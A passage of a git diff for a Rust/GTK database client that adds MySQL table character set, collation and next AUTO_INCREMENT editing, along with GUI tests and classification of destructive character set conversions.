+        self.recompute_dirty_state(fx);
+    }
+
+    pub(super) fn edit_table_options(&mut self, fx: &mut StructureEffects, edit: impl FnOnce(&mut DraftTableOptions)) {
+        let Some(options) = self.options.as_mut() else {
+            return;
+        };
+        edit(options);
+        self.recompute_dirty_state(fx);
+    }
+
+    /// Put the draft's options in the page, which is no edit. The page
+    /// shows only where the engine changes a table's options.
+    pub(super) fn show_table_options(&self) {
+        let widgets = &self.widgets.options;
+        let context = self.context.borrow();
+        let offered = context.mode == StructureMode::Edit && context.capabilities().table_options;
+        widgets.page.set_visible(offered && self.options.is_some());
+        let Some(options) = &self.options else {
+            return;
+        };
+        let catalog = context.character_set_catalog();
+        widgets.character_set.show(
+            &character_set_choices(&catalog, options.character_set.as_deref(), false),
+            options.character_set.as_deref(),
+        );
+        self.show_table_collations(&catalog);
+        for row in [&widgets.character_set_row, &widgets.collation_row] {
+            follow_catalog(row, &context.character_sets);
+        }
+        widgets.convert.block_signal(&widgets.convert_toggled);
+        widgets.convert.set_active(options.converts_columns);
+        widgets.convert.unblock_signal(&widgets.convert_toggled);
+        self.show_next_auto_increment(self.numbered_column_maximum().is_some());
+    }
+
+    fn show_table_collations(&self, catalog: &[CharacterSet]) {
+        let Some(options) = &self.options else {
+            return;
+        };
+        self.widgets.options.collation.show(
+            &collation_choices(catalog, options.character_set.as_deref(), options.collation.as_deref()),
+            options.collation.as_deref(),
+        );
+    }
+
+    /// Read the Next Auto Increment text against the column that numbers
+    /// itself now: a type change moves the range it takes. Without such
+    /// a column the field goes, and the value with it.
+    pub(super) fn sync_next_auto_increment(&mut self) {
+        if self.options.is_none() {
+            return;
+        }
+        let maximum = self.numbered_column_maximum();
+        let original = self
+            .context
+            .borrow()
+            .original()
+            .and_then(|definition| definition.options.as_ref())
+            .and_then(|options| options.next_auto_increment);
+        let Some(options) = self.options.as_mut() else {
+            return;
+        };
+        match maximum {
+            Some(maximum) => match parse_next_auto_increment(&self.next_auto_increment.text, maximum, original) {
+                Ok(value) => {
+                    options.next_auto_increment = value.or(original);
+                    self.next_auto_increment.error = None;
+                }
+                Err(error) => {
+                    options.next_auto_increment = original;
+                    self.next_auto_increment.error = Some(error);
+                }
+            },
+            None => {
+                options.next_auto_increment = original;
+                self.next_auto_increment = NextAutoIncrement::of(original);
+            }
+        }
+        self.show_next_auto_increment(maximum.is_some());
+    }
+
+    /// `shown` while a column of the draft numbers itself.
+    fn show_next_auto_increment(&self, shown: bool) {
+        let widgets = &self.widgets.options;
+        widgets.auto_increment_group.set_visible(shown);
+        if widgets.auto_increment.text() != self.next_auto_increment.text {
+            widgets.auto_increment.block_signal(&widgets.auto_increment_changed);
+            widgets.auto_increment.set_text(&self.next_auto_increment.text);
+            widgets.auto_increment.unblock_signal(&widgets.auto_increment_changed);
+        }
+        mark_invalid(&widgets.auto_increment, self.next_auto_increment.error.as_deref());
+    }
+
+    /// The largest counter of the draft's AUTO_INCREMENT column, `None`
+    /// while no column numbers itself.
+    fn numbered_column_maximum(&self) -> Option<u64> {
+        let column = items::<DraftColumnObject>(&self.columns)
+            .iter()
+            .map(DraftColumnObject::column)
+            .find(|column| column.auto_increment)?;
+        Some(self.context.borrow().auto_increment_maximum(&column))
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn a_next_auto_increment_is_a_whole_number_inside_the_column_range() {
+        assert_eq!(parse_next_auto_increment(" 42 ", 127, None), Ok(Some(42)));
+        assert_eq!(parse_next_auto_increment("", 127, None), Ok(None));
+        assert_eq!(parse_next_auto_increment("127", 127, None), Ok(Some(127)));
+        for refused in ["0", "128", "-1", "1.5", "ten", "99999999999999999999999"] {
+            assert_eq!(
+                parse_next_auto_increment(refused, 127, None),
+                Err("Enter a whole number from 1 to 127.".to_owned()),
+                "{refused}"
+            );
+        }
+    }
+
+    #[test]
+    fn an_exhausted_counter_the_server_reports_stands_until_edited() {
+        assert_eq!(parse_next_auto_increment("128", 127, Some(128)), Ok(Some(128)));
+        assert_eq!(
+            parse_next_auto_increment("129", 127, Some(128)),
+            Err("Enter a whole number from 1 to 127.".to_owned())
+        );
+    }
+}
diff --git a/linux/crates/app/src/ui/structure_tab/tests.rs b/linux/crates/app/src/ui/structure_tab/tests.rs
index ecef173caa..c3c1fd3ea2 100644
--- a/linux/crates/app/src/ui/structure_tab/tests.rs
+++ b/linux/crates/app/src/ui/structure_tab/tests.rs
@@ -9,8 +9,9 @@ use libadwaita::prelude::{
 };
 use tablepro_core::column::{ColumnDefault, ColumnType};
 use tablepro_core::ddl::{
-    ColumnAttributes, ColumnDefinition, ColumnKeyRoles, DraftColumn, IdentityStyle, InboundForeignKey,
-    PrimaryKeyConstraint, TableDefinition, TableDraft, TableSource, UnmodeledAttribute,
+    CharacterSet, CollationName, ColumnAttributes, ColumnDefinition, ColumnKeyRoles, DraftColumn, DraftTableOptions,
+    IdentityStyle, InboundForeignKey, PrimaryKeyConstraint, TableDefinition, TableDraft, TableOptions, TableSource,
+    UnmodeledAttribute,
 };
 use tablepro_core::dialect::SqlDialect;
 use tablepro_core::meta::{ObjectInfo, ObjectKind, TableRef};
@@ -94,6 +95,22 @@ impl Harness {
             .map(|model| model.tracker.clone())
             .expect("the tab has a model")
     }
+
+    /// The structure on screen with the server's character sets read, so
+    /// a row held across an edit is not built again under it.
+    fn wait_for_structure(&self) {
+        wait_until(WAIT, || self.page().as_deref() == Some("editor")).expect("the structure");
+        wait_until(WAIT, || {
+            self.tab()
+                .imp()
+                .model
+                .borrow()
+                .as_ref()
+                .is_some_and(|model| !model.sequencer.is_pending(StructureRequestKind::CharacterSets))
+        })
+        .expect("the character sets were read");
+        drain_main_context();
+    }
 }
 
 impl Drop for Harness {
@@ -166,6 +183,7 @@ fn definition(column: &str) -> TableDefinition {
         foreign_keys: Vec::new(),
         inbound_foreign_keys: Vec::new(),
         source: None,
+        options: None,
     }
 }
 
@@ -655,6 +673,7 @@ fn referenced_primary_key_switch_is_insensitive_with_foreign_key_names() {
             referenced_columns: vec!["id".to_owned()],
         }],
         source: None,
+        options: None,
     };
     let mut script = postgres_script();
     script.fetch_table_definition.always(FakeReply::ok(users));
@@ -693,8 +712,7 @@ fn a_computed_column_takes_no_comment_where_the_comment_restates_it() {
     };
     script.fetch_table_definition.always(FakeReply::ok(table));
     let harness = Harness::open(StructureMode::Edit, script, []);
-    wait_until(WAIT, || harness.page().as_deref() == Some("editor")).expect("the structure");
-    drain_main_context();
+    harness.wait_for_structure();
 
     let computed = column_widget(harness.tab(), 0, "col-comment");
 
@@ -945,8 +963,7 @@ fn open_edit(dialect: Arc<dyn SqlDialect>, table: TableDefinition) -> Harness {
     };
     script.fetch_table_definition.always(FakeReply::ok(table));
     let harness = Harness::open(StructureMode::Edit, script, []);
-    wait_until(WAIT, || harness.page().as_deref() == Some("editor")).expect("the structure");
-    drain_main_context();
+    harness.wait_for_structure();
     harness
 }
 
@@ -1533,6 +1550,7 @@ fn icon_buttons_are_labelled_without_accelerator_hints() {
         }],
         inbound_foreign_keys: Vec::new(),
         source: None,
+        options: None,
     };
     let mut script = postgres_script();
     script.fetch_table_definition.always(FakeReply::ok(table));
@@ -1560,3 +1578,353 @@ fn icon_buttons_are_labelled_without_accelerator_hints() {
     assert_eq!(crate::test_support::unlabelled_icon_buttons(tab), Vec::<String>::new());
     assert_eq!(crate::test_support::tooltips_with_keys(tab), Vec::<String>::new());
 }
+
+fn mysql() -> Arc<dyn SqlDialect> {
+    Arc::new(tablepro_driver_mysql::MySqlDialect::new(
+        tablepro_driver_mysql::MySqlFlavour::MySql,
+        &ServerInfo::new("MySQL", "8.4.3", 8, 4, 3),
+    ))
+}
+
+/// `id int` keyed and numbered, next 7, and `title varchar(40)` in
+/// utf8mb4, as MySQL reads them.
+fn mysql_users() -> TableDefinition {
+    let dialect = mysql();
+    let mut id = integer_column("id", true);
+    id.info.column_type = dialect.parse_type("int").expect("a MySQL type");
+    id.info.is_auto_increment = true;
+    let mut title = definition("title").columns.remove(0);
+    title.info.column_type = dialect.parse_type("varchar(40)").expect("a MySQL type");
+    title.attributes.character_set = Some("utf8mb4".to_owned());
+    title.attributes.collation = Some(CollationName::new(None, "utf8mb4_0900_ai_ci"));
+    TableDefinition {
+        columns: vec![id, title],
+        primary_key: Some(PrimaryKeyConstraint {
+            name: Some("PRIMARY".to_owned()),
+            columns: vec!["id".to_owned()],
+        }),
+        options: Some(TableOptions {
+            character_set: Some("utf8mb4".to_owned()),
+            collation: Some("utf8mb4_0900_ai_ci".to_owned()),
+            next_auto_increment: Some(7),
+        }),
+        ..definition("id")
+    }
+}
+
+fn character_set(name: &str, default_collation: &str, collations: &[&str]) -> CharacterSet {
+    CharacterSet {
+        name: name.to_owned(),
+        default_collation: default_collation.to_owned(),
+        collations: collations.iter().map(|collation| (*collation).to_owned()).collect(),
+    }
+}
+
+fn character_sets() -> Vec<CharacterSet> {
+    vec![
+        character_set("latin1", "latin1_swedish_ci", &["latin1_bin", "latin1_swedish_ci"]),
+        character_set("utf8mb4", "utf8mb4_0900_ai_ci", &["utf8mb4_0900_ai_ci", "utf8mb4_bin"]),
+    ]
+}
+
+fn open_mysql(table: TableDefinition, sets: FakeReply<Vec<CharacterSet>>) -> Harness {
+    let mut script = ConnectionScript {
+        dialect: mysql(),
+        ..ConnectionScript::default()
+    };
+    script.fetch_table_definition.always(FakeReply::ok(table));
+    script.fetch_character_sets.always(sets);
+    let harness = Harness::open(StructureMode::Edit, script, []);
+    harness.wait_for_structure();
+    harness
+}
+
+fn choices(row: &adw::ComboRow) -> Vec<String> {
+    let names = row.model().and_downcast::<gtk::StringList>().expect("a list of names");
+    (0..names.n_items())
+        .filter_map(|position| names.string(position))
+        .map(|name| name.to_string())
+        .collect()
+}
+
+fn picked(row: &adw::ComboRow) -> Option<String> {
+    row.selected_item()
+        .and_downcast::<gtk::StringObject>()
+        .map(|item| item.string().to_string())
+}
+
+fn combo(tab: &StructureTab, position: i32, name: &str) -> adw::ComboRow {
+    column_widget(tab, position, name)
+        .downcast::<adw::ComboRow>()
+        .expect("a combo row")
+}
+
+fn table_options(harness: &Harness) -> DraftTableOptions {
+    harness.draft().options.expect("the table's options")
+}
+
+#[gtk4::test]
+fn mysql_offers_the_table_options_and_text_column_character_sets() {
+    let harness = open_mysql(mysql_users(), FakeReply::ok(character_sets()));
+    let (tab, imp) = (harness.tab(), harness.tab().imp());
+
+    assert!(imp.options_page.is_visible());
+    assert_eq!(choices(&imp.character_set_row), ["latin1", "utf8mb4"]);
+    assert_eq!(picked(&imp.character_set_row).as_deref(), Some("utf8mb4"));
+    assert_eq!(
+        choices(&imp.collation_row),
+        ["utf8mb4_0900_ai_ci (default)", "utf8mb4_bin"]
+    );
+    assert!(!imp.convert_row.is_active());
+    assert!(imp.auto_increment_group.is_visible());
+    assert_eq!(imp.auto_increment_row.text(), "7");
+    assert!(
+        !combo(tab, 0, "col-charset").is_visible(),
+        "an int column offers a character set"
+    );
+    let title = combo(tab, 1, "col-charset");
+    assert!(title.is_visible() && title.is_sensitive());
+    assert_eq!(choices(&title), ["latin1", "utf8mb4"]);
+    assert_eq!(
+        picked(&combo(tab, 1, "col-collation")).as_deref(),
+        Some("utf8mb4_0900_ai_ci (default)")
+    );
+    assert_eq!(preview(tab), "-- No pending changes.");
+}
+
+#[gtk4::test]
+fn postgres_offers_no_table_options_and_reads_no_character_sets() {
+    let harness = open_edit(postgres(), keyed_users());
+
+    assert!(!harness.tab().imp().options_page.is_visible());
+    assert!(
+        descendants(harness.tab())
+            .iter()
+            .all(|widget| widget.widget_name() != "col-charset"),
+        "a PostgreSQL column offers a character set"
+    );
+    assert_eq!(
+        CallCounters::get(&harness.fake.connection.counters().fetch_character_sets),
+        0
+    );
+}
+
+#[gtk4::test]
+fn a_table_character_set_takes_its_default_collation_into_the_preview() {
+    let harness = open_mysql(mysql_users(), FakeReply::ok(character_sets()));
+    let (tab, imp) = (harness.tab(), harness.tab().imp());
+
+    imp.character_set_row.set_selected(0);
+    drain_main_context();
+
+    let options = table_options(&harness);
+    assert_eq!(options.character_set.as_deref(), Some("latin1"));
+    assert_eq!(options.collation.as_deref(), Some("latin1_swedish_ci"));
+    assert_eq!(
+        choices(&imp.collation_row),
+        ["latin1_bin", "latin1_swedish_ci (default)"]
+    );
+    assert_eq!(
+        picked(&imp.collation_row).as_deref(),
+        Some("latin1_swedish_ci (default)")
+    );
+    assert!(preview(tab).contains("latin1_swedish_ci"), "{}", preview(tab));
+    assert!(imp.save_button.is_sensitive());
+
+    imp.collation_row.set_selected(0);
+    imp.convert_row.set_active(true);
+
+    let options = table_options(&harness);
+    assert_eq!(options.collation.as_deref(), Some("latin1_bin"));
+    assert!(options.converts_columns);
+    assert!(preview(tab).contains("CONVERT TO CHARACTER SET"), "{}", preview(tab));
+}
+
+#[gtk4::test]
+fn a_convert_beside_a_column_change_says_why_before_save() {
+    let harness = open_mysql(mysql_users(), FakeReply::ok(character_sets()));
+    let (tab, imp) = (harness.tab(), harness.tab().imp());
+
+    imp.convert_row.set_active(true);
+    tab.send(ColumnsInput::ColumnEdited {
+        column: harness.column(1),
+        field: ColumnField::Comment(Some("a title".to_owned())),
+    });
+    drain_main_context();
+
+    assert_eq!(
+        preview(tab),
+        "-- Column title can't be changed this way. Save column and primary key changes before converting existing \
+         columns."
+    );
+}
+
+#[gtk4::test]
+fn discard_restores_the_table_options() {
+    let harness = open_mysql(mysql_users(), FakeReply::ok(character_sets()));
+    let window = in_window(&harness);
+    let imp = harness.tab().imp();
+    imp.character_set_row.set_selected(0);
+    imp.convert_row.set_active(true);
+    imp.auto_increment_row.set_text("100");
+    assert_eq!(table_options(&harness).next_auto_increment, Some(100));
+
+    imp.discard_button.emit_clicked();
+    answer_discard(&window, "discard");
+
+    assert_eq!(
+        table_options(&harness),
+        DraftTableOptions {
+            character_set: Some("utf8mb4".to_owned()),
+            collation: Some("utf8mb4_0900_ai_ci".to_owned()),
+            converts_columns: false,
+            next_auto_increment: Some(7),
+        }
+    );
+    assert_eq!(picked(&imp.character_set_row).as_deref(), Some("utf8mb4"));
+    assert_eq!(
+        picked(&imp.collation_row).as_deref(),
+        Some("utf8mb4_0900_ai_ci (default)")
+    );
+    assert!(!imp.convert_row.is_active());
+    assert_eq!(imp.auto_increment_row.text(), "7");
+    assert_eq!(preview(harness.tab()), "-- No pending changes.");
+}
+
+/// The draft holds still while a save has it, so an option edit that
+/// arrives then is refused and the controls show the draft again.
+#[gtk4::test]
+fn table_option_edits_wait_for_the_save() {
+    let harness = open_mysql(mysql_users(), FakeReply::ok(character_sets()));
+    let imp = harness.tab().imp();
+    imp.character_set_row.set_selected(0);
+    harness.tab().send(SaveInput::SaveStarted);
+    assert!(
+        !imp.options_box.is_sensitive(),
+        "the options stayed editable during the save"
+    );
+    let toasts = toasts(harness.tab());
+
+    harness.tab().send(TableInput::CollationPicked("latin1_bin".to_owned()));
+    harness.tab().send(TableInput::ConvertColumnsToggled(true));
+    harness.tab().send(TableInput::NextAutoIncrementEdited("50".to_owned()));
+
+    let options = table_options(&harness);
+    assert_eq!(options.collation.as_deref(), Some("latin1_swedish_ci"));
+    assert!(!options.converts_columns);
+    assert_eq!(options.next_auto_increment, Some(7));
+    assert_eq!(
+        picked(&imp.collation_row).as_deref(),
+        Some("latin1_swedish_ci (default)")
+    );
+    assert_eq!(imp.auto_increment_row.text(), "7");
+    assert_eq!(toasts.borrow().len(), 3, "a refused edit said nothing");
+
+    harness.tab().send(SaveInput::SaveFailed("rolled back".to_owned()));
+    assert!(imp.options_box.is_sensitive());
+}
+
+#[gtk4::test]
+fn a_column_collation_list_follows_its_character_set() {
+    let harness = open_mysql(mysql_users(), FakeReply::ok(character_sets()));
+    let tab = harness.tab();
+    let (character_set, collation) = (combo(tab, 1, "col-charset"), combo(tab, 1, "col-collation"));
+
+    character_set.set_selected(0);
+
+    assert_eq!(choices(&collation), ["latin1_bin", "latin1_swedish_ci (default)"]);
+    assert_eq!(picked(&collation).as_deref(), Some("latin1_swedish_ci (default)"));
+    let column = harness.draft_column(1);
+    assert_eq!(
+        (column.character_set.as_deref(), column.collation.as_deref()),
+        (Some("latin1"), Some("latin1_swedish_ci"))
+    );
+
+    collation.set_selected(0);
+
+    assert_eq!(harness.draft_column(1).collation.as_deref(), Some("latin1_bin"));
+    assert!(preview(tab).contains("latin1_bin"), "{}", preview(tab));
+}
+
+/// A column the user adds follows the table's character set until one
+/// is picked, and the rows show only while its type holds text.
+#[gtk4::test]
+fn a_new_column_takes_the_table_default_while_its_type_holds_text() {
+    let harness = open_mysql(mysql_users(), FakeReply::ok(character_sets()));
+    let tab = harness.tab();
+    tab.send(ColumnsInput::AddColumn);
+    entry(tab, 2, "col-type").set_text("varchar(20)");
+    let (character_set, collation) = (combo(tab, 2, "col-charset"), combo(tab, 2, "col-collation"));
+
+    assert!(character_set.is_visible());
+    assert_eq!(choices(&character_set), ["Table default", "latin1", "utf8mb4"]);
+    assert_eq!(picked(&character_set).as_deref(), Some("Table default"));
+    assert_eq!(choices(&collation), ["Table default"]);
+
+    entry(tab, 2, "col-type").set_text("int");
+
+    assert!(!character_set.is_visible() && !collation.is_visible());
+}
+
+#[gtk4::test]
+fn the_next_auto_increment_takes_only_what_the_column_numbers() {
+    let mut table = mysql_users();
+    table.columns[0].info.column_type = mysql().parse_type("tinyint").expect("a MySQL type");
+    let harness = open_mysql(table, FakeReply::ok(character_sets()));
+    let (tab, imp) = (harness.tab(), harness.tab().imp());
+    let field = imp.auto_increment_row.get();
+
+    for refused in ["300", "0", "seven"] {
+        field.set_text(refused);
+
+        assert!(field.has_css_class("error"), "{refused}");
+        assert_eq!(
+            field.tooltip_text().as_deref(),
+            Some("Enter a whole number from 1 to 127.")
+        );
+        assert!(!imp.save_button.is_sensitive(), "{refused} could be saved");
+        assert_eq!(preview(tab), "-- Fix the highlighted fields to see the SQL.");
+        assert_eq!(table_options(&harness).next_auto_increment, Some(7));
+    }
+
+    field.set_text("100");
+
+    assert!(!field.has_css_class("error"));
+    assert!(imp.save_button.is_sensitive());
+    assert!(preview(tab).contains("AUTO_INCREMENT"), "{}", preview(tab));
+
+    switch_row(tab, 0, "col-auto").set_active(false);
+    drain_main_context();
+
+    assert!(!imp.auto_increment_group.is_visible());
+    assert_eq!(table_options(&harness).next_auto_increment, Some(7));
+    assert_eq!(field.text(), "7");
+}
+
+#[gtk4::test]
+fn a_failed_character_set_read_leaves_the_tab_editable() {
+    let harness = open_mysql(
+        mysql_users(),
+        FakeReply::err(DriverError::server("information_schema denied")),
+    );
+    let (tab, imp) = (harness.tab(), harness.tab().imp());
+
+    assert!(imp.options_page.is_visible());
+    assert_eq!(choices(&imp.character_set_row), ["utf8mb4"]);
+    for row in [imp.character_set_row.get(), combo(tab, 1, "col-charset")] {
+        assert!(!row.is_sensitive());
+        assert!(
+            row.tooltip_text()
+                .is_some_and(|tip| tip.contains("character sets couldn't be read")),
+            "{:?}",
+            row.tooltip_text()
+        );
+    }
+    assert!(!banner(&harness).is_revealed());
+
+    entry(tab, 1, "col-comment").set_text("headline");
+    imp.auto_increment_row.set_text("100");
+
+    assert!(imp.save_button.is_sensitive());
+    assert_eq!(imp.pending_label.label(), "2 unsaved changes");
+}
diff --git a/linux/crates/app/src/ui/workspace/import.rs b/linux/crates/app/src/ui/workspace/import.rs
index 5280bb2156..f7b2d0bc1c 100644
--- a/linux/crates/app/src/ui/workspace/import.rs
+++ b/linux/crates/app/src/ui/workspace/import.rs
@@ -591,6 +591,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }));
         let (session, connection) = session(script);
 
diff --git a/linux/crates/app/src/ui/workspace/structure.rs b/linux/crates/app/src/ui/workspace/structure.rs
index 7fd069ca3f..2e7ccb5bb9 100644
--- a/linux/crates/app/src/ui/workspace/structure.rs
+++ b/linux/crates/app/src/ui/workspace/structure.rs
@@ -522,6 +522,7 @@ mod tests {
             foreign_keys: Vec::<ForeignKeyInfo>::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }
     }
 
diff --git a/linux/crates/app/src/ui/workspace/tests/tab_title.rs b/linux/crates/app/src/ui/workspace/tests/tab_title.rs
index c88b081a88..ee27913289 100644
--- a/linux/crates/app/src/ui/workspace/tests/tab_title.rs
+++ b/linux/crates/app/src/ui/workspace/tests/tab_title.rs
@@ -55,6 +55,7 @@ fn a_column_added() -> Option<PendingStructure> {
         draft,
         changes: TableChanges::default(),
         unparsed_defaults: Vec::new(),
+        invalid_auto_increment: false,
     })
 }
 
diff --git a/linux/crates/app/src/workspace/test_workspace.rs b/linux/crates/app/src/workspace/test_workspace.rs
index c914a09181..d329799100 100644
--- a/linux/crates/app/src/workspace/test_workspace.rs
+++ b/linux/crates/app/src/workspace/test_workspace.rs
@@ -89,6 +89,7 @@ pub(crate) fn edited_table(edit: impl FnOnce(&mut TableDraft)) -> PendingStructu
             create_statement: "CREATE TABLE t (id INTEGER, n INTEGER)".to_owned(),
             dependents: Vec::new(),
         }),
+        options: None,
     };
     let mut draft = TableDraft::from_definition(&original);
     edit(&mut draft);
@@ -97,6 +98,7 @@ pub(crate) fn edited_table(edit: impl FnOnce(&mut TableDraft)) -> PendingStructu
         original: Some(original),
         draft,
         unparsed_defaults: Vec::new(),
+        invalid_auto_increment: false,
     }
 }
 
diff --git a/linux/crates/app/tests/accessibility/main.rs b/linux/crates/app/tests/accessibility/main.rs
index 5a0189644f..46cecd4731 100644
--- a/linux/crates/app/tests/accessibility/main.rs
+++ b/linux/crates/app/tests/accessibility/main.rs
@@ -484,6 +484,7 @@ fn one_table() -> ConnectionScript {
         foreign_keys: Vec::new(),
         inbound_foreign_keys: Vec::new(),
         source: None,
+        options: None,
     }));
     script
 }
diff --git a/linux/crates/core/src/connection.rs b/linux/crates/core/src/connection.rs
index 622fc00376..32b3f44884 100644
--- a/linux/crates/core/src/connection.rs
+++ b/linux/crates/core/src/connection.rs
@@ -6,7 +6,7 @@ use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned};
 use crate::call_options::CallOptions;
 use crate::column::ColumnInfo;
 use crate::commit::{CommitResolution, CommitToken};
-use crate::ddl::{InboundForeignKey, OutboundForeignKey, TableDefinition};
+use crate::ddl::{CharacterSet, InboundForeignKey, OutboundForeignKey, TableDefinition};
 use crate::dialect::SqlDialect;
 use crate::editor_session::{EditorSession, EditorSessionOptions};
 use crate::error::DriverError;
@@ -93,6 +93,16 @@ pub trait Connection: Send + Sync {
         options: CallOptions,
     ) -> Result<TableDefinition, DriverError>;
 
+    /// The character sets the server offers, each with its collations,
+    /// for the structure tab's pickers. The list is the server's, not one
+    /// table's, and is a read of its own: a failure leaves the definition
+    /// as it was read.
+    async fn fetch_character_sets(&self, _options: CallOptions) -> Result<Vec<CharacterSet>, DriverError> {
+        Err(DriverError::Unsupported {
+            feature: UnsupportedFeature::CharacterSets,
+        })
+    }
+
     async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result<RowIdentity, DriverError>;
 
     async fn table_estimate(&self, table: &TableRef, options: CallOptions) -> Result<TableEstimate, DriverError>;
diff --git a/linux/crates/core/src/ddl/change_review.rs b/linux/crates/core/src/ddl/change_review.rs
index 57e1e7252e..c4ef963df3 100644
--- a/linux/crates/core/src/ddl/change_review.rs
+++ b/linux/crates/core/src/ddl/change_review.rs
@@ -8,7 +8,8 @@ pub struct ChangeReview {
     /// The edits the user made, counted as the action bar counts them.
     pub operations: usize,
     pub statements: Vec<String>,
-    /// The rebuild first, then the drops, type changes and new NOT NULLs.
+    /// The rebuild first, then the dropped columns, a convert, type and
+    /// character set changes, and new NOT NULLs.
     pub destructive: Vec<DestructiveChange>,
 }
 
@@ -30,6 +31,9 @@ impl ChangeReview {
                     column: column.name().to_owned(),
                 }),
         );
+        if changes.options.as_ref().is_some_and(|options| options.converts_columns) {
+            destructive.push(DestructiveChange::ConvertCharacterSet);
+        }
         destructive.extend(
             changes
                 .altered_columns
@@ -48,6 +52,22 @@ impl ChangeReview {
                     }
                 }),
         );
+        // A collation within the same character set sorts the values
+        // differently but keeps them as they are.
+        destructive.extend(
+            changes
+                .altered_columns
+                .iter()
+                .filter(|alteration| {
+                    let character_set = &alteration.draft.character_set;
+                    alteration.changed.collation
+                        && character_set.is_some()
+                        && *character_set != alteration.original.attributes.character_set
+                })
+                .map(|alteration| DestructiveChange::ChangeColumnCharacterSet {
+                    column: alteration.original.name().to_owned(),
+                }),
+        );
         destructive.extend(
             changes
                 .altered_columns
diff --git a/linux/crates/core/src/ddl/changed_attributes.rs b/linux/crates/core/src/ddl/changed_attributes.rs
index 7b9265cc9e..d46764ad3b 100644
--- a/linux/crates/core/src/ddl/changed_attributes.rs
+++ b/linux/crates/core/src/ddl/changed_attributes.rs
@@ -10,6 +10,8 @@ pub struct ChangedAttributes {
     pub primary_key: bool,
     pub auto_increment: bool,
     pub comment: bool,
+    /// The character set, the collation or both.
+    pub collation: bool,
 }
 
 impl ChangedAttributes {
@@ -35,10 +37,17 @@ impl ChangedAttributes {
             primary_key: info.primary_key != draft.primary_key,
             auto_increment: info.is_auto_increment != draft.auto_increment,
             comment,
+            collation: draft.collation_differs(Some(&original.attributes)),
         }
     }
 
     pub fn any(&self) -> bool {
-        self.column_type || self.nullability || self.default || self.primary_key || self.auto_increment || self.comment
+        self.column_type
+            || self.nullability
+            || self.default
+            || self.primary_key
+            || self.auto_increment
+            || self.comment
+            || self.collation
     }
 }
diff --git a/linux/crates/core/src/ddl/character_set.rs b/linux/crates/core/src/ddl/character_set.rs
new file mode 100644
index 0000000000..204fc258e4
--- /dev/null
+++ b/linux/crates/core/src/ddl/character_set.rs
@@ -0,0 +1,9 @@
+/// A character set the server offers, with the collations it takes.
+#[derive(Debug, Clone, PartialEq, Eq, Hash)]
+pub struct CharacterSet {
+    pub name: String,
+    /// The collation a column or table takes when it names only the
+    /// character set. Always one of `collations`.
+    pub default_collation: String,
+    pub collations: Vec<String>,
+}
diff --git a/linux/crates/core/src/ddl/column_capabilities.rs b/linux/crates/core/src/ddl/column_capabilities.rs
index 5b63eac46f..11d5dc2cf5 100644
--- a/linux/crates/core/src/ddl/column_capabilities.rs
+++ b/linux/crates/core/src/ddl/column_capabilities.rs
@@ -12,6 +12,8 @@ pub struct ColumnCapabilities {
     pub alter_primary_key: Permission,
     pub alter_auto_increment: Permission,
     pub alter_comment: Permission,
+    /// The column's own character set and collation.
+    pub alter_collation: Permission,
 }
 
 impl ColumnCapabilities {
@@ -54,6 +56,7 @@ impl ColumnCapabilities {
             alter_primary_key: primary_key_permission(capabilities, table),
             alter_auto_increment: engine(capabilities.alter_auto_increment).and(restatement),
             alter_comment: engine(capabilities.column_comments),
+            alter_collation: engine(capabilities.column_collations).and(restatement),
         }
     }
 
diff --git a/linux/crates/core/src/ddl/ddl_capabilities.rs b/linux/crates/core/src/ddl/ddl_capabilities.rs
index 741188a38d..7c4646a58f 100644
--- a/linux/crates/core/src/ddl/ddl_capabilities.rs
+++ b/linux/crates/core/src/ddl/ddl_capabilities.rs
@@ -37,4 +37,11 @@ pub struct DdlCapabilities {
     /// Whether a table lists its columns in the order they were declared
     /// and added. CQL lists the key columns first and the rest by name.
     pub declared_column_order: bool,
+    /// Whether the user picks a column's character set and collation from
+    /// the server's list (`Connection::fetch_character_sets`).
+    pub column_collations: bool,
+    /// Whether the table's default character set and collation, a
+    /// convert of every column to them, and the next AUTO_INCREMENT value
+    /// can change (`TableChanges::options`).
+    pub table_options: bool,
 }
diff --git a/linux/crates/core/src/ddl/ddl_operation.rs b/linux/crates/core/src/ddl/ddl_operation.rs
index 03fcfc8c35..e06dace165 100644
--- a/linux/crates/core/src/ddl/ddl_operation.rs
+++ b/linux/crates/core/src/ddl/ddl_operation.rs
@@ -20,6 +20,11 @@ pub enum DdlOperation {
     AlterPrimaryKey,
     AlterAutoIncrement,
     SetColumnComment,
+    /// A column's own character set or collation.
+    AlterColumnCollation,
+    /// The table's default character set and collation, a convert of its
+    /// columns, or its next AUTO_INCREMENT value.
+    AlterTableOptions,
     CreateIndex,
     IndexExpressionKey,
     DescendingIndexKey,
@@ -52,6 +57,8 @@ impl fmt::Display for DdlOperation {
             Self::AlterPrimaryKey => "changing the primary key",
             Self::AlterAutoIncrement => "changing whether a column numbers itself",
             Self::SetColumnComment => "setting a column comment",
+            Self::AlterColumnCollation => "changing a column's character set or collation",
+            Self::AlterTableOptions => "changing the table's character set or AUTO_INCREMENT value",
             Self::CreateIndex => "creating an index",
             Self::IndexExpressionKey => "an index on an expression",
             Self::DescendingIndexKey => "a descending index key",
diff --git a/linux/crates/core/src/ddl/destructive_change.rs b/linux/crates/core/src/ddl/destructive_change.rs
index 8a9d4ad6d5..6cdeb35d9b 100644
--- a/linux/crates/core/src/ddl/destructive_change.rs
+++ b/linux/crates/core/src/ddl/destructive_change.rs
@@ -21,6 +21,15 @@ pub enum DestructiveChange {
     SetNotNull {
         column: String,
     },
+    /// Every text column is rewritten in the table's new character set. A
+    /// character the new one lacks is changed or refused, and a column's
+    /// type can widen to hold the longer characters.
+    ConvertCharacterSet,
+    /// The values the column holds are rewritten in its new character
+    /// set, and a character that set lacks is changed or refused.
+    ChangeColumnCharacterSet {
+        column: String,
+    },
     DropIndex {
         index: String,
     },
diff --git a/linux/crates/core/src/ddl/diff_table.rs b/linux/crates/core/src/ddl/diff_table.rs
index eb68f63f4a..aa2671b73d 100644
--- a/linux/crates/core/src/ddl/diff_table.rs
+++ b/linux/crates/core/src/ddl/diff_table.rs
@@ -1,8 +1,8 @@
 use std::collections::{BTreeSet, HashMap, HashSet};
 
 use super::{
